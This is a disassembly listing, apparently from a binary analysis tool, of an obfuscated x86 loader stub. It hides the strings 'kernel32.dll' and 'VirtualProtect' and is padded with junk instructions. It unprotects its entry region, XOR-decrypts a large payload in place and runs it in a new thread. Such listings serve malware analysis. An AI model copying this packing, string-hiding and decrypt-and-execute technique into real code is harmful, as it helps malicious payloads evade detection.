Function at 0x344d4aa
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg esi, ebx
xchg ebx, esi
call fcn.0344d8c7
pushfd
inc ecx
dec ecx
popfd
mov ecx, ecx
lea eax, [ebp - 0xd8]
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0x61
mov eax, eax
xchg ebx, eax
xchg ebx, eax
add bx, 0xa
xchg edi, edi
mov word [eax], bx
pushfd
xor eax, 0x939837ce
xor eax, 0x939837ce
popfd
sub bx, 6
pushfd
xor edx, 0xf782db16
xor edx, 0xf782db16
popfd
mov word [eax + 2], bx
push edx
push esi
pop esi
pop edx
add bx, 0xd
pushfd
inc eax
dec eax
popfd
pushfd
inc esi
dec esi
popfd
mov word [eax + 4], bx
push edi
pop edi
sub bx, 4
pushfd
push eax
add esp, 4
popfd
mov word [eax + 6], bx
pushfd
inc ebx
dec ebx
popfd
sub bx, 9
xchg ecx, ecx
mov word [eax + 8], bx
pushfd
push 0x9c7750bd
add esp, 4
popfd
add bx, 7
xchg ecx, ecx
xchg ecx, ecx
mov word [eax + 0xa], bx
pushfd
xor esi, 0x171bb142
xor esi, 0x171bb142
popfd
pushfd
push 0x2b8205d0
add esp, 4
popfd
sub bx, 0x39
xchg ebx, ebx
mov word [eax + 0xc], bx
pushfd
inc ebx
dec ebx
popfd
dec bx
push eax
pop eax
push ecx
pop ecx
mov word [eax + 0xe], bx
pushfd
xor edx, 0xfc29eba1
xor edx, 0xfc29eba1
popfd
sub bx, 4
pushfd
inc ecx
dec ecx
popfd
mov edi, edi
mov word [eax + 0x10], bx
nop
xchg edi, ecx
xchg ecx, edi
add bx, 0x36
pushfd
xor esi, 0x798c8ce
xor esi, 0x798c8ce
popfd
pushfd
xor edx, 0xb41fd796
xor edx, 0xb41fd796
popfd
mov word [eax + 0x12], bx
pushfd
push 0x5bcff982
add esp, 4
popfd
add bx, 8
pushfd
xor eax, 0xe3cf3115
xor eax, 0xe3cf3115
popfd
pushfd
xor ecx, 0xdd846a04
xor ecx, 0xdd846a04
popfd
mov word [eax + 0x14], bx
pushfd
push 0x863ee26f
add esp, 4
popfd
xchg ebx, eax
xchg ebx, eax
mov word [eax + 0x16], bx
push ebx
push eax
pop eax
pop ebx
mov word [eax + 0x18], 0
pushfd
push 0x51038b7
add esp, 4
popfd
pushfd
push 0x3b72b1e3
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push edx
push ecx
pop ecx
pop edx
mov dword [ebp - 0x10], eax
push esi
pop esi
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0xd8]
pushfd
push 0x3d112dab
add esp, 4
popfd
mov ebx, 0x61
pushfd
push 0x5b864baf
add esp, 4
popfd
sub bl, 0xb
pushfd
push eax
add esp, 4
popfd
mov byte [eax], bl
push ecx
pop ecx
pushfd
inc eax
dec eax
popfd
add bl, 0x13
pushfd
push 0xa52ee269
add esp, 4
popfd
mov byte [eax + 1], bl
push eax
pop eax
add bl, 9
push esi
pop esi
mov byte [eax + 2], bl
xchg edx, eax
xchg edx, eax
push eax
pop eax
add bl, 2
pushfd
inc eax
dec eax
popfd
mov byte [eax + 3], bl
pushfd
xor edi, 0x3a16c9eb
xor edi, 0x3a16c9eb
popfd
inc bl
push ecx
push ebx
pop ebx
pop ecx
pushfd
push 0x4101da04
add esp, 4
popfd
mov byte [eax + 4], bl
xchg ebx, edi
xchg edi, ebx
pushfd
xor ecx, 0x96b42f3c
xor ecx, 0x96b42f3c
popfd
sub bl, 0x14
pushfd
inc esi
dec esi
popfd
push ecx
pop ecx
mov byte [eax + 5], bl
xchg esi, edi
xchg edi, esi
pushfd
inc ecx
dec ecx
popfd
add bl, 0xb
pushfd
xor eax, 0xafa882f9
xor eax, 0xafa882f9
popfd
mov byte [eax + 6], bl
xchg edx, edx
push edi
pop edi
sub bl, 0x1c
push esi
pop esi
mov byte [eax + 7], bl
push edx
pop edx
add bl, 0x22
pushfd
push esi
add esp, 4
popfd
pushfd
push 0xe27a7c83
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
push 0xaa0a4fe9
add esp, 4
popfd
sub bl, 3
pushfd
inc edi
dec edi
popfd
mov byte [eax + 9], bl
push esi
pop esi
xchg esi, eax
xchg esi, eax
add bl, 5
mov edx, edx
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0xa], bl
pushfd
push 0x3da0c004
add esp, 4
popfd
sub bl, 0xf
pushfd
push 0xa2e19e3a
add esp, 4
popfd
xchg edi, edi
mov byte [eax + 0xb], bl
push ebx
push edi
pop edi
pop ebx
sub bl, 2
mov eax, eax
mov byte [eax + 0xc], bl
pushfd
push 0x15febb97
add esp, 4
popfd
add bl, 0x11
push edi
pop edi
pushfd
xor ecx, 0x4088fb7e
xor ecx, 0x4088fb7e
popfd
mov byte [eax + 0xd], bl
pushfd
push esi
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0xe], 0
xchg edi, eax
xchg edi, eax
pushfd
xor eax, 0xa1603d63
xor eax, 0xa1603d63
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push ebx
add esp, 4
popfd
push edx
pop edx
mov dword [ebp - 0xc], eax
xchg ecx, eax
xchg ecx, eax
pushfd
inc esi
dec esi
popfd
lea eax, [ebp - 8]
pushfd
inc edi
dec edi
popfd
pushfd
xor esi, 0x99c318a
xor esi, 0x99c318a
popfd
push eax
push 4
push 0x2032dbd
push entry0
call dword [ebp - 0xc]
pushfd
push 0xec71d0a
add esp, 4
popfd
mov edi, entry0
pushfd
xor ebx, 0x57c655cb
xor ebx, 0x57c655cb
popfd
pushfd
push edx
add esp, 4
popfd
mov esi, 0x40100e
push edx
push edi
pop edi
pop edx
push edi
push esi
pop esi
pop edi
mov ecx, 0x2032dbd
xchg edx, eax
xchg edx, eax
mov edx, 0x5b394fd8
pushfd
xor edi, 0x9e52d9a8
xor edi, 0x9e52d9a8
popfd
push esi
pop esi
mov ebx, 0x5af808f3
xchg esi, eax
xchg esi, eax
cld
mov ebx, ebx
lodsb al, byte [esi]
mov edi, edi
xor al, dl
mov edi, edi
stosb byte es:[edi], al
nop
ror edx, 5
mov edx, edx
imul edx, edx, 7
xchg esi, esi
test ebx, 1
nop
je 0x344d845
xchg edx, edx
add esi, 1
xchg edx, edx
ror ebx, 1
mov eax, eax
dec ecx
xchg ebx, ebx
test ecx, ecx
xchg esi, esi
jne 0x344d820
pushfd
push ecx
add esp, 4
popfd
lea eax, [ebp - 8]
push ecx
push edi
pop edi
pop ecx
push eax
push 0x20
push 0x2032dbd
push entry0
call dword [ebp - 0xc]
pushfd
xor edx, 0xc142129e
xor edx, 0xc142129e
popfd
lea eax, [ebp - 4]
pushfd
inc ebx
dec ebx
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg ebx, ebx
xchg ebx, ebx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg edx, edx
jmp 0x344d89a